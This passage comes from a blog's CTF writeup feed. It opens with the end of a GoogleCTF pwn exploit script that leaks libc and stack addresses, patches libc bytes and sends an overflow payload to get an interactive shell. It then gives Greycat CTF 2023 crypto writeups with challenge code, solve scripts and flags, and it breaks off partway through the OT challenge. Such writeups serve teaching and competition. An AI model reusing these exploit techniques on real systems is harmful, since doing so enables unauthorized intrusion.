        <span class="k">if</span> <span class="n">line</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">'[stack]'</span><span class="p">):</span>
            <span class="n">stack_bottom</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'-'</span><span class="p">)[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
            <span class="k">break</span>

    <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">elf_base</span><span class="p">))</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">))</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">stack_bottom</span><span class="p">))</span>

    <span class="n">input_buf_offset</span> <span class="o">=</span> <span class="mi">5856</span>

    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x1149b2</span><span class="p">,</span> <span class="mh">0x1149b7</span><span class="p">):</span>
        <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>

    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x114a08</span><span class="p">,</span> <span class="mh">0x114a0f</span><span class="p">):</span>
        <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>

    <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x114a60</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>

    <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x1149cf</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span>
    <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x1149ce</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span>

    <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x114a1c</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x1149c0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>

    <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x11499f</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x11499e</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x11499d</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x11499c</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x11499b</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">write</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x11499a</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">send</span><span class="p">((</span><span class="s">"a"</span><span class="o">*</span><span class="mh">0x13</span><span class="p">).</span><span class="n">encode</span><span class="p">()</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">elf_base</span> <span class="o">+</span> <span class="mh">0x50a0</span><span class="p">))</span>
    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"CT"</span><span class="p">)</span>

    <span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>

<span class="c1">#CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>]]></content><author><name>Bo-Shiun Yen</name></author><category term="CTF" /><category term="Writeup" /><category term="Misc" /><category term="Reverse" /><category term="Pwn" /><category term="Crypto" /><summary type="html"><![CDATA[Overview Last weekend, I played GoogleCTF with b01lers. We ranked 55th in the end. I solved 2 misc, 1 rev, 1 crypto, and 3 pwn. This writeup will mostly focus on my own thought process while solving the challenges, and I’d recommand reading the official writeups as well. Challenge solved after the competition are marked as [*]]]></summary></entry><entry><title type="html">Greycat CTF Quals 2023 Writeup</title><link href="http://blog.bronson113.org/2023/05/22/grey-cat-ctf-quals-2023.html" rel="alternate" type="text/html" title="Greycat CTF Quals 2023 Writeup" /><published>2023-05-22T00:00:00+00:00</published><updated>2023-05-22T00:00:00+00:00</updated><id>http://blog.bronson113.org/2023/05/22/grey-cat-ctf-quals-2023</id><content type="html" xml:base="http://blog.bronson113.org/2023/05/22/grey-cat-ctf-quals-2023.html"><![CDATA[<h2 id="overview">Overview</h2>

<p>Last weekend, I participated in Grey Cat CTF Qual 2023 with b01lers. We ranked 22nd overall. I think the challenges are interesting and decided to post writeups on the challenges I solved.
I solved 6 crypto and 1 pwn (with help from teammate) during the competition.</p>

<p>Challenge solved after the competition are marked as [*]</p>

<!--more-->

<hr />

<h2 id="the-vault">The Vault</h2>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>Can you break into a double-encrypted vault?

- qvinhprolol

nc 34.124.157.94 10591
solves: 100/454
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We are given chall.py.</p>

<div class="accordion mb-2" id="vault_chal_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-vault_chal_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#vault_chal_py-content" aria-expanded="true" aria-controls="vault_chal_py-content">
         <p>Show chall.py</p>
 
      </button>
    </p>
    <div id="vault_chal_py-content" class="accordion-collapse collapse" aria-labelledby="hd-vault_chal_py" data-bs-parent="#vault_chal_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="n">sha256</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Random</span> <span class="kn">import</span> <span class="n">get_random_bytes</span>
<span class="kn">from</span> <span class="nn">math</span> <span class="kn">import</span> <span class="n">log10</span>

<span class="n">FLAG</span> <span class="o">=</span> <span class="s">"grey{fake_flag}"</span>

<span class="n">n</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">128</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">check_keys</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">a</span> <span class="o">%</span> <span class="mi">10</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>

    <span class="c1"># Check if pow(a, b) &gt; n
</span>    <span class="k">if</span> <span class="n">b</span> <span class="o">*</span> <span class="n">log10</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">128</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">True</span>
    <span class="k">return</span> <span class="bp">False</span>

<span class="k">def</span> <span class="nf">encryption</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">plaintext</span><span class="p">):</span>
    <span class="n">iv</span> <span class="o">=</span> <span class="s">"Greyhats"</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>
    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CTR</span><span class="p">,</span> <span class="n">nonce</span> <span class="o">=</span> <span class="n">iv</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">plaintext</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Welcome back, NUS Dean. Please type in the authentication codes to open the vault! </span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>

<span class="n">a</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s">"Enter the first code: "</span><span class="p">))</span>
<span class="n">b</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s">"Enter the second code: "</span><span class="p">))</span>

<span class="k">if</span> <span class="ow">not</span> <span class="n">check_keys</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Nice try thief! The security are on the way."</span><span class="p">)</span>
    <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Performing thief checks...</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">thief_check</span> <span class="o">=</span> <span class="n">get_random_bytes</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>

<span class="c1"># Highly secure double encryption checking system. The thieves stand no chance!
</span><span class="n">x</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="n">first_key</span> <span class="o">=</span> <span class="n">sha256</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">x</span><span class="p">)).</span><span class="n">digest</span><span class="p">()</span>
<span class="n">second_key</span> <span class="o">=</span> <span class="n">sha256</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">n</span><span class="p">))).</span><span class="n">digest</span><span class="p">()</span>

<span class="k">if</span> <span class="n">thief_check</span> <span class="o">==</span> <span class="n">encryption</span><span class="p">(</span><span class="n">first_key</span><span class="p">,</span> <span class="n">encryption</span><span class="p">(</span><span class="n">second_key</span><span class="p">,</span> <span class="n">thief_check</span><span class="p">)):</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Vault is opened."</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">FLAG</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Stealing attempts detected! Initializing lockdown"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>Since the encryption uses CTR with the same nonce, if we make first_key == second_key, the encryption will cancel out itself.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="c1"># Highly secure double encryption checking system. The thieves stand no chance!
</span><span class="n">x</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="n">first_key</span> <span class="o">=</span> <span class="n">sha256</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">x</span><span class="p">)).</span><span class="n">digest</span><span class="p">()</span>
<span class="n">second_key</span> <span class="o">=</span> <span class="n">sha256</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">n</span><span class="p">))).</span><span class="n">digest</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Observing how the two keys are generated. 
Therefore, we just need to find <code class="language-plaintext highlighter-rouge">a</code> and <code class="language-plaintext highlighter-rouge">b</code> that makes $x \equiv x^{10} \mod{n}$. Naturally, we would want to make x = 1.</p>

<p>One method is to simply make $a \equiv 1 \mod{n}$, since there is no bounding check on a, if we make a = n+1, and b sufficiently large, we can pass the keys check.</p>

<p>The other way is to utilize <a href="https://en.wikipedia.org/wiki/Euler%27s_theorem">eular’s theorm</a>, which states $x^{\phi({n})} \equiv 1 \mod(n)$. By setting $b = \phi({n})$ and supply a sufficiently large a, we can solve the challenge.</p>

<div class="accordion mb-2" id="vault_solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-vault_solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#vault_solve_py-content" aria-expanded="true" aria-controls="vault_solve_py-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="vault_solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-vault_solve_py" data-bs-parent="#vault_solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>

<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">nc_str</span> <span class="o">=</span> <span class="s">"nc 34.124.157.94 10591"</span>
<span class="n">_</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span> <span class="o">=</span> <span class="n">nc_str</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">))</span>


<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="mi">10</span><span class="o">**</span><span class="mi">128</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="mi">10</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
<span class="c1">#grey{th3_4n5w3R_T0_Th3_3x4M_4nD_3v3ry7H1N6_1s_42}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<hr />

<h2 id="greycat-trial">Greycat Trial</h2>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>In the sacred realm of GreyCat, amidst the swirling mists of arcane power, a momentous trial unfolds, seeking the one destined to bear the mantle of the next mighty GreyCat wizard.

- qvinhprolol

nc 34.124.157.94 10592 
solves: 63/454
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="trial_chal_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-trial_chal_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#trial_chal_py-content" aria-expanded="true" aria-controls="trial_chal_py-content">
         <p>Show chall.py</p>
 
      </button>
    </p>
    <div id="trial_chal_py-content" class="accordion-collapse collapse" aria-labelledby="hd-trial_chal_py" data-bs-parent="#trial_chal_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">randint</span>

<span class="n">FLAG</span> <span class="o">=</span> <span class="s">"grey{fake_flag}"</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Lo and behold! The GreyCat Wizard, residing within the Green Tower of PrimeLand, is a wizard of unparalleled prowess"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"The GreyCat wizard hath forged an oracle of equal potency"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"The oracle hath the power to bestow upon thee any knowledge that exists in the world"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Gather the requisite elements to triumph over the three trials, noble wizard."</span><span class="p">)</span>
<span class="k">print</span><span class="p">()</span>

<span class="n">a</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s">"The first element: "</span><span class="p">))</span>
<span class="n">b</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s">"The second element: "</span><span class="p">))</span>
<span class="k">print</span><span class="p">()</span>

<span class="n">all_seeing_number</span> <span class="o">=</span> <span class="mi">23456789</span>

<span class="c1"># FIRST TRIAL
</span><span class="k">if</span> <span class="n">b</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Verily, those who would cheat possess not the might of true wizards."</span><span class="p">)</span>
    <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="k">if</span> <span class="nb">pow</span><span class="p">(</span><span class="n">all_seeing_number</span><span class="p">,</span> <span class="n">a</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">a</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Alas, thy weakness hath led to defeat in the very first trial."</span><span class="p">)</span>
    <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="c1"># SECOND TRIAL
</span><span class="n">trial_numbers</span> <span class="o">=</span> <span class="p">[</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">26</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">26</span><span class="p">)]</span>

<span class="k">for</span> <span class="n">number</span> <span class="ow">in</span> <span class="n">trial_numbers</span><span class="p">:</span>
    <span class="n">c</span> <span class="o">=</span> <span class="n">a</span> <span class="o">+</span> <span class="n">b</span> <span class="o">*</span> <span class="n">number</span>
    <span class="k">if</span> <span class="nb">pow</span><span class="p">(</span><span class="n">all_seeing_number</span><span class="p">,</span> <span class="n">c</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Thou art not yet strong enough, and thus hast been vanquished in the second trial"</span><span class="p">)</span>
        <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="c1"># THIRD TRIAL
</span><span class="n">d</span> <span class="o">=</span> <span class="n">a</span> <span class="o">+</span> <span class="n">b</span> <span class="o">*</span> <span class="nb">max</span><span class="p">(</span><span class="n">trial_numbers</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">d</span><span class="p">.</span><span class="n">bit_length</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">55</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Truly, thou art the paramount wizard. As a reward, we present thee with this boon:"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">FLAG</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Thou art nigh, but thy power falters still."</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>Notice that the “trial” is a <a href="https://en.wikipedia.org/wiki/Fermat_primality_test">fermat primality test</a>. While there exists some exceptions (<a href="https://en.wikipedia.org/wiki/Carmichael_number">Carmichael numbers</a>), all we need to do is to find a long enough sequence of prime in arithmetic progression. A quick google search will lead to <a href="https://en.wikipedia.org/wiki/Primes_in_arithmetic_progression">this wiki page</a>, where there are a example with length of 21 included.</p>

<p>$5749146449311 + 26004868890n$</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="o">&gt;&gt;&gt;</span> <span class="p">[</span><span class="nb">pow</span><span class="p">(</span><span class="mi">23456789</span><span class="p">,</span> <span class="mi">5749146449311</span> <span class="o">+</span> <span class="mi">26004868890</span><span class="o">*</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">5749146449311</span> <span class="o">+</span> <span class="mi">26004868890</span><span class="o">*</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">26</span><span class="p">)]</span>
<span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">5969533133056</span><span class="p">,</span> <span class="mi">1942548458790</span><span class="p">,</span> <span class="mi">3086279453216</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">774068330828</span><span class="p">]</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Now notice that in the trial, the trial numbers are randomly chosen, so we don’t need to perfectly pass every test. With the example from wikipedia, 22 out of 26 numbers will pass the primality test, which gives us a $({22}/{26})^{26} \approx 1.3\%$ chance of passing the trail every single time. With enough trys, the odd will stand in our favor. (On average 76 trys will be needed).</p>

<div class="accordion mb-2" id="trial_solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-trial_solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#trial_solve_py-content" aria-expanded="true" aria-controls="trial_solve_py-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="trial_solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-trial_solve_py" data-bs-parent="#trial_solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>

<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10000</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
    <span class="n">nc_str</span> <span class="o">=</span> <span class="s">"nc 34.124.157.94 10592"</span>
    <span class="n">_</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span> <span class="o">=</span> <span class="n">nc_str</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">))</span>

    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"5749146449311"</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"26004868890"</span><span class="p">)</span>

    <span class="n">s</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>
    <span class="k">if</span> <span class="sa">b</span><span class="s">"grey{"</span> <span class="ow">in</span> <span class="n">s</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
        <span class="k">break</span>
<span class="c1">#grey{Gr33N-tA0_The0ReM_w1z4rd}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<hr />

<h2 id="ot">OT</h2>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>Oblivious Transfer is amazing :D

- mechfrog88

nc 34.124.157.94 10521 
solves: 41/454
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="ot_chal_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-ot_chal_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#ot_chal_py-content" aria-expanded="true" aria-controls="ot_chal_py-content">
         <p>Show main.py</p>
 
      </button>
    </p>
    <div id="ot_chal_py-content" class="accordion-collapse collapse" aria-labelledby="hd-ot_chal_py" data-bs-parent="#ot_chal_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">secrets</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">isPrime</span><span class="p">,</span> <span class="n">long_to_bytes</span>

<span class="n">FLAG</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'grey{fake_flag}'</span>

<span class="n">e</span> <span class="o">=</span> <span class="mh">0x10001</span>

<span class="k">def</span> <span class="nf">checkN</span><span class="p">(</span><span class="n">N</span><span class="p">):</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">N</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">):</span>
        <span class="k">return</span> <span class="s">"what?"</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">N</span><span class="p">.</span><span class="n">bit_length</span><span class="p">()</span> <span class="o">!=</span> <span class="mi">4096</span><span class="p">):</span>
        <span class="k">return</span> <span class="s">"N should be 4096 bits"</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">isPrime</span><span class="p">(</span><span class="n">N</span><span class="p">)</span> <span class="ow">or</span> <span class="n">isPrime</span><span class="p">(</span><span class="n">N</span> <span class="o">+</span> <span class="mi">23</span><span class="p">)):</span>
        <span class="k">return</span> <span class="s">"Hey no cheating"</span>
    <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
